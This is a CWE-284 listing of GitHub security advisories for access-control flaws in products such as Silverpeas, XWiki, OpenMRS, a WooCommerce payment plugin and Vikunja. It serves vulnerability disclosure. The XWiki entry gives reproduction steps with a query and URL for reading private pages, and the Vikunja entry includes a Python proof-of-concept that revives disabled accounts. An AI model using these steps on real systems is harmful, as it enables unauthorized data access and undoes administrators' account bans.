Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

7802 vulnerabilities reference this CWE, most recent first.

GHSA-VPP3-HPCM-V944

Vulnerability from github – Published: 2023-12-13 15:30 – Updated: 2023-12-18 21:39
VLAI
Summary
Broken access control in Silverpeas
Details

The "Create a Space" feature in Silverpeas Core 6.3.1 is reserved for use by administrators. This function suffers from broken access control, allowing any authenticated user to create a space by navigating to the correct URL.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.silverpeas.core:silverpeas-core-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-13T19:28:42Z",
    "nvd_published_at": "2023-12-13T14:15:44Z",
    "severity": "MODERATE"
  },
  "details": "The \"Create a Space\" feature in Silverpeas Core 6.3.1 is reserved for use by administrators. This function suffers from broken access control, allowing any authenticated user to create a space by navigating to the correct URL.",
  "id": "GHSA-vpp3-hpcm-v944",
  "modified": "2023-12-18T21:39:30Z",
  "published": "2023-12-13T15:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2023-47327"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Silverpeas/Silverpeas-Core"
    },
    {
      "type": "WEB",
      "url": "http://silverpeas.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Broken access control in Silverpeas"
}

GHSA-VPQ5-JXRG-F4M3

Vulnerability from github – Published: 2025-05-16 15:31 – Updated: 2025-05-16 15:31
VLAI
Details

An Improper Access Control vulnerability was identified in the file download functionality. This vulnerability allows users to download sensitive documents without authentication, if the URL is known.

The attack requires the attacker to know the documents UUIDv4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-2306"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-16T13:15:52Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Access Control vulnerability was\nidentified in the file download functionality. This vulnerability allows users\nto download sensitive documents without authentication, if the URL is known.\n\n\n\nThe attack\nrequires the attacker to know the documents UUIDv4.",
  "id": "GHSA-vpq5-jxrg-f4m3",
  "modified": "2025-05-16T15:31:02Z",
  "published": "2025-05-16T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2306"
    },
    {
      "type": "WEB",
      "url": "https://www.cirosec.de/sa/sa-2025-004"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPQ8-9RJ2-88FW

Vulnerability from github – Published: 2024-03-28 15:30 – Updated: 2024-03-28 15:30
VLAI
Details

Improper access control in the Intel(R) oneAPI DPC++/C++ Compiler before version 2022.2.1 for some Intel(R) oneAPI Toolkits before version 2022.3.1 may allow authenticated user to potentially enable escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-35121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T14:16:00Z",
    "severity": "HIGH"
  },
  "details": "Improper access control in the Intel(R) oneAPI DPC++/C++ Compiler before version 2022.2.1 for some Intel(R) oneAPI Toolkits before version  2022.3.1 may allow authenticated user to potentially enable escalation of privilege via local access.\n\n",
  "id": "GHSA-vpq8-9rj2-88fw",
  "modified": "2024-03-28T15:30:32Z",
  "published": "2024-03-28T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35121"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00988.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPW9-RW58-F7GH

Vulnerability from github – Published: 2026-02-17 06:31 – Updated: 2026-02-17 06:31
VLAI
Details

The Zarinpal Gateway for WooCommerce plugin for WordPress is vulnerable to Improper Access Control to Payment Status Update in all versions up to and including 5.0.16. This is due to the payment callback handler 'Return_from_ZarinPal_Gateway' failing to validate that the authority token provided in the callback URL belongs to the specific order being marked as paid. This makes it possible for unauthenticated attackers to potentially mark orders as paid without proper payment by reusing a valid authority token from a different transaction of the same amount.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-17T05:16:17Z",
    "severity": "HIGH"
  },
  "details": "The Zarinpal Gateway for WooCommerce plugin for WordPress is vulnerable to Improper Access Control to Payment Status Update in all versions up to and including 5.0.16. This is due to the payment callback handler \u0027Return_from_ZarinPal_Gateway\u0027 failing to validate that the authority token provided in the callback URL belongs to the specific order being marked as paid. This makes it possible for unauthenticated attackers to potentially mark orders as paid without proper payment by reusing a valid authority token from a different transaction of the same amount.",
  "id": "GHSA-vpw9-rw58-f7gh",
  "modified": "2026-02-17T06:31:26Z",
  "published": "2026-02-17T06:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2592"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zarinpal-woocommerce-payment-gateway/trunk/class-wc-gateway-zarinpal.php#L359"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zarinpal-woocommerce-payment-gateway/trunk/class-wc-gateway-zarinpal.php#L370"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zarinpal-woocommerce-payment-gateway/trunk/class-wc-gateway-zarinpal.php#L380"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zarinpal-woocommerce-payment-gateway/trunk/class-wc-gateway-zarinpal.php#L409"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/zarinpal-woocommerce-payment-gateway/trunk/class-wc-gateway-zarinpal.php#L412"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3445917"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e33fcd17-318b-408e-86bf-b4ece46121cc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VPX4-7RFP-H545

Vulnerability from github – Published: 2023-03-03 22:46 – Updated: 2023-03-03 22:46
VLAI
Summary
Unprivileged XWiki Platform users can make arbitrary select queries using DatabaseListProperty and suggest.vm
Details

Impact

Any user with edit right can execute arbitrary database select and access data stored in the database.

To reproduce: * In admin, rights, remove scripting rights for {{XWikiAllGroup}}. * Create a new user without any special privileges. * Create a page "Private.WebHome" with {{TOKEN_42}} as content. Go to "page administration" and explicitly set all rights for "Admin" to remove them for all other users. * Logout and login as the unprivileged user. Ensure that the previously created page cannot be viewed. * Create a new page "ExploitClass.WebHome" and then open it in the class editor (first, make the user an advanced user). * Add a field named {{ContentList}} of type {{Database List}} * Enter in field "Hibernate Query" the following content: {noformat}select doc.content, doc.fullName from XWikiDocument as doc where doc.fullName = 'Private.WebHome'{noformat} * Save the class. * Open [http://localhost:8080/xwiki/bin/view/ExploitClass/?xpage=suggest&classname=ExploitClass.WebHome&fieldname=ContentList&firCol=doc.fullName&secCol=-]

Patches

The problem has been patched on XWiki 13.10.11, 14.4.7, and 14.10.

Workarounds

There is no workaround for this vulnerability other than upgrading.

References

https://jira.xwiki.org/browse/XWIKI-19523

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3-rc-1"
            },
            {
              "fixed": "13.10.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0"
            },
            {
              "fixed": "14.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26473"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-03T22:46:43Z",
    "nvd_published_at": "2023-03-02T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAny user with edit right can execute arbitrary database select and access data stored in the database.\n\nTo reproduce:\n * In admin, rights, remove scripting rights for {{XWikiAllGroup}}.\n * Create a new user without any special privileges.\n * Create a page \"Private.WebHome\" with {{TOKEN_42}} as content. Go to \"page administration\" and explicitly set all rights for \"Admin\" to remove them for all other users.\n * Logout and login as the unprivileged user. Ensure that the previously created page cannot be viewed.\n * Create a new page \"ExploitClass.WebHome\" and then open it in the class editor (first, make the user an advanced user).\n * Add a field named {{ContentList}} of type {{Database List}}\n * Enter in field \"Hibernate Query\" the following content: {noformat}select doc.content, doc.fullName from XWikiDocument as doc where doc.fullName = \u0027Private.WebHome\u0027{noformat}\n * Save the class.\n * Open [http://localhost:8080/xwiki/bin/view/ExploitClass/?xpage=suggest\u0026classname=ExploitClass.WebHome\u0026fieldname=ContentList\u0026firCol=doc.fullName\u0026secCol=-]\n\n### Patches\n\nThe problem has been patched on XWiki 13.10.11, 14.4.7, and 14.10.\n\n### Workarounds\n\nThere is no workaround for this vulnerability other than upgrading.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-19523\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-vpx4-7rfp-h545",
  "modified": "2023-03-03T22:46:43Z",
  "published": "2023-03-03T22:46:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-vpx4-7rfp-h545"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26473"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19523"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unprivileged XWiki Platform users can make arbitrary select queries using DatabaseListProperty and suggest.vm"
}

GHSA-VPXM-CR3R-PJP9

Vulnerability from github – Published: 2025-01-30 17:50 – Updated: 2025-01-30 17:50
VLAI
Summary
General OpenMRS Security Advisory, January 2025: Penetration Testing Results and Patches
Details

Impact

We recently underwent Penetration Testing of OpenMRS by a third-party company. Vulnerabilities were found, and fixes have been made and released. We've released security updates that include critical fixes, and so, we strongly recommend upgrading affected modules.

This notice applies to all OpenMRS instances. The testers used the OpenMRS v3 Reference Application (O3 RefApp); however, their findings highlighted modules commonly used in older OpenMRS applications, including the O2 RefApp.

Vulnerability Details

  • The issues uncovered included broken access control (e.g. inappropriate admin access), phishing vulnerability, and stored XSS (e.g. vulnerable passwords).
  • No vulnerabilities were found in the O3 frontend esm modules.
  • The Letter of Attestation from the penetration test is available here for your reference.
  • After the fixes were applied, the OpenMRS O3 RefApp met a Security Level of “Excellent, Grade A”.
  • The full detailed Remediation Pentest Report is available to Implementation Technical Leads upon request.

Patches

Minimum Requirements for Implementers: We strongly recommend upgrading your modules to the following versions (or greater) as soon as possible. This is the minimum amount to do and be protected from the vulnerabilities found and fixed. The following versions contain the patch:

  • Platform 2.6.11+
  • How: Increase your platform version number wherever this is specified in your implementation. If you use the OpenMRS SDK, this will be in the distro.properties file.
  • Notes:
    • The newly released Platform 2.7 also includes the fixes. Release Notes and more download options here.
    • Platform 2.6.8+ has most of the fixes, but these are broken if you don't use SSL, so Platform 2.6.11 or higher is preferred.
    • For those still on Platform 2.5+ such as the Bahmni ecosystem, the new 2.5.14 release includes the patch. Bahmni note: The upcoming patch release for both Bahmni Lite and Bahmni Standard will incorporate these security fixes.
  • Legacy UI OMOD 1.21.0+ (here)
  • ID Gen OMOD 4.14.0+ (here)
  • Address Hierarchy OMOD 2.19.0+ (here)
  • Attachments OMOD 3.6.0+ (here)
  • Patient Flags OMOD 3.0.8+ (here)

Workarounds

There are no practical workarounds to fix or remediate the vulnerabilities without upgrading. Technically, you could remove the affected OMODs, but this would badly degrade the system's functionality.

Thank you to our amazing Security contributors!

Thank you to security firm UnderDefense, and to the OpenMRS Security Group contributors for their patch support - specific thanks to Daniel Kayiwa, Samuel Lubwama, Ian Bacher, Rafal Korytkowski, and Michael Seaton.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs:openmrs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:legacyui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:idgen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:addresshierarchy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:attachments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.openmrs.module:patientflags"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-209",
      "CWE-284",
      "CWE-601",
      "CWE-614"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-30T17:50:52Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\nWe recently underwent Penetration Testing of OpenMRS by a third-party company. **Vulnerabilities were found, and fixes have been made and released.** We\u0027ve released security updates that include critical fixes, and so, we strongly recommend upgrading affected modules.\n\n**This notice applies to _all_ OpenMRS instances.** The testers used the OpenMRS v3 Reference Application (O3 RefApp); however, their findings highlighted modules commonly used in older OpenMRS applications, including the O2 RefApp. \n\n## Vulnerability Details\n- The issues uncovered included broken access control (e.g. inappropriate admin access), phishing vulnerability, and stored XSS (e.g. vulnerable passwords).\n- No vulnerabilities were found in the O3 frontend esm modules. \n- The Letter of Attestation from the penetration test is [available here](https://drive.google.com/file/d/1sBm4-FzLA8hSoM9wYknBfgEttBHyLvoU/view?usp=sharing) for your reference. \n- After the fixes were applied, the OpenMRS O3 RefApp met a Security Level of \u201cExcellent, Grade A\u201d.\n- The full detailed Remediation Pentest Report is available to Implementation Technical Leads upon request.\n\n### Patches\n**Minimum Requirements for Implementers:** We **strongly** recommend upgrading your modules to the following versions (or greater) as soon as possible. **This is the minimum amount to do and be protected from the vulnerabilities found and fixed.** The following versions contain the patch: \n\n- **Platform** 2.6.11+ \n  - How: Increase your platform version number wherever this is specified in your implementation. If you use the OpenMRS SDK, this will be in the distro.properties file.\n  - Notes: \n    - The newly released [**Platform 2.7**](https://sourceforge.net/projects/openmrs/files/releases/OpenMRS_Platform_2.7.0/) also includes the fixes. [Release Notes and more download options here](https://openmrs.atlassian.net/wiki/x/XoBzEQ).\n    - Platform 2.6.8+ has most of the fixes, but these are broken if you don\u0027t use SSL, so Platform 2.6.11 or higher is preferred.\n    - For those still on Platform 2.5+ such as the Bahmni ecosystem, the new [2.5.14](https://ci.openmrs.org/browse/TRUNK-CORE2-232) release includes the patch. _Bahmni note: The upcoming patch release for both Bahmni Lite and Bahmni Standard will incorporate these security fixes._\n- **Legacy UI** OMOD 1.21.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.legacyui))\n- **ID Gen** OMOD 4.14.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.idgen))\n- **Address Hierarchy** OMOD 2.19.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.addresshierarchy))\n- **Attachments** OMOD 3.6.0+ ([here](https://addons.openmrs.org/show/org.openmrs.module.attachments))\n- **Patient Flags** OMOD 3.0.8+ ([here](https://addons.openmrs.org/show/org.openmrs.module.patientflags))\n\n### Workarounds\nThere are no practical workarounds to fix or remediate the vulnerabilities without upgrading. Technically, you could remove the affected OMODs, but this would badly degrade the system\u0027s functionality.\n\n## Thank you to our amazing Security contributors!\nThank you to security firm UnderDefense, and to the OpenMRS Security Group contributors for their patch support - specific thanks to Daniel Kayiwa, Samuel Lubwama, Ian Bacher, Rafal Korytkowski, and Michael Seaton. \n",
  "id": "GHSA-vpxm-cr3r-pjp9",
  "modified": "2025-01-30T17:50:52Z",
  "published": "2025-01-30T17:50:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openmrs/openmrs-core/security/advisories/GHSA-vpxm-cr3r-pjp9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openmrs/openmrs-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "General OpenMRS Security Advisory, January 2025: Penetration Testing Results and Patches"
}

GHSA-VQ29-76J3-6VH5

Vulnerability from github – Published: 2026-06-19 00:31 – Updated: 2026-06-19 00:31
VLAI
Details

Improper access control in Microsoft Dynamics 365 allows an authorized attacker to elevate privileges over a network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-47647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T22:16:31Z",
    "severity": "CRITICAL"
  },
  "details": "Improper access control in Microsoft Dynamics 365 allows an authorized attacker to elevate privileges over a network.",
  "id": "GHSA-vq29-76j3-6vh5",
  "modified": "2026-06-19T00:31:37Z",
  "published": "2026-06-19T00:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47647"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47647"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQ4M-2GV5-7Q79

Vulnerability from github – Published: 2022-05-17 02:41 – Updated: 2022-05-17 02:41
VLAI
Details

Cybozu Garoon 3.0.0 to 4.2.2 allows remote authenticated attackers to bypass access restriction to alter or delete another user's private RSS settings via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-4908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-09T16:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Cybozu Garoon 3.0.0 to 4.2.2 allows remote authenticated attackers to bypass access restriction to alter or delete another user\u0027s private RSS settings via unspecified vectors.",
  "id": "GHSA-vq4m-2gv5-7q79",
  "modified": "2022-05-17T02:41:50Z",
  "published": "2022-05-17T02:41:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4908"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN14631222/index.html"
    },
    {
      "type": "WEB",
      "url": "https://support.cybozu.com/ja-jp/article/9399"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/94966"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQ4Q-79HH-Q767

Vulnerability from github – Published: 2026-03-20 17:25 – Updated: 2026-03-25 20:53
VLAI
Summary
Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement
Details

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

    // Hash the password
    user.Password, err = HashPassword(reset.NewPassword)
    if err != nil {
        return
    }

    err = removeTokens(s, user, TokenPasswordReset)
    if err != nil {
        return
    }

    user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
    _, err = s.
        Cols("password", "status").
        Where("id = ?", user.ID).
        Update(user)
    if err != nil {
        return
    }

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a standard user account in Vikunja.
  2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
  3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
  4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
  5. Retrieve the password reset token from the incoming email.
  6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
  7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"

    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})

    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()

    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")

    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})

    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]

    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})

    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

  • Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
  • Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T17:25:47Z",
    "nvd_published_at": "2026-03-24T15:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA flaw in Vikunja\u2019s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user\u2019s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement.\n\n#### Vulnerable Code Snippet\n\nIn `pkg/user/user_password_reset.go`, beginning at line 66:\n\n```go\n\t// Hash the password\n\tuser.Password, err = HashPassword(reset.NewPassword)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = removeTokens(s, user, TokenPasswordReset)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tuser.Status = StatusActive // \u003c--- VULNERABILITY: Unconditionally sets status to Active\n\t_, err = s.\n\t\tCols(\"password\", \"status\").\n\t\tWhere(\"id = ?\", user.ID).\n\t\tUpdate(user)\n\tif err != nil {\n\t\treturn\n\t}\n```\n\nThe code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an \"Email Confirmation Required\" state into an \"Active\" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator.\nAdditionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a standard user account in Vikunja.\n2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`).\n3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`).\n4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user\u0027s email address.\n5. Retrieve the password reset token from the incoming email.\n6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password.\n7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated.\n\n#### Automation PoC\n\n```python\nimport requests\nimport psycopg2\nimport time\nimport secrets\n\nAPI_URL = \"http://localhost:3456/api/v1\"\n\ndef main():\n    username = f\"testuser_{secrets.token_hex(4)}\"\n    email = f\"{username}@example.com\"\n    password = \"SuperSecretPassword123!\"\n    \n    print(\"[1] Registering user...\")\n    requests.post(f\"{API_URL}/register\", json={\"username\": username, \"email\": email, \"password\": password})\n    \n    print(\"[2] Admin disables account (Status = 2)...\")\n    conn = psycopg2.connect(host=\"localhost\", database=\"vikunja\", user=\"vikunja\", password=\"vikunja_password\")\n    cursor = conn.cursor()\n    cursor.execute(\"UPDATE users SET status = 2 WHERE username = %s;\", (username,))\n    conn.commit()\n    \n    print(\"[3] Verifying login is blocked...\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": password})\n    print(f\"Login response: {res.status_code} (Should be 412)\")\n    \n    print(\"[4] Attacker requests password reset...\")\n    requests.post(f\"{API_URL}/user/password/token\", json={\"email\": email})\n    \n    print(\"[5] Attacker grabs token from email/DB...\")\n    cursor.execute(\"SELECT id FROM users WHERE username = %s;\", (username,))\n    user_id = cursor.fetchone()[0]\n    cursor.execute(\"SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;\", (user_id,))\n    token = cursor.fetchone()[0]\n    \n    print(\"[6] Attacker submits reset, triggering bug...\")\n    new_password = \"HackedPassword123!\"\n    requests.post(f\"{API_URL}/user/password/reset\", json={\"token\": token, \"new_password\": new_password})\n    \n    print(\"[7] Attacker logs in successfully!\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": new_password})\n    print(f\"Final Login response: {res.status_code} (Should be 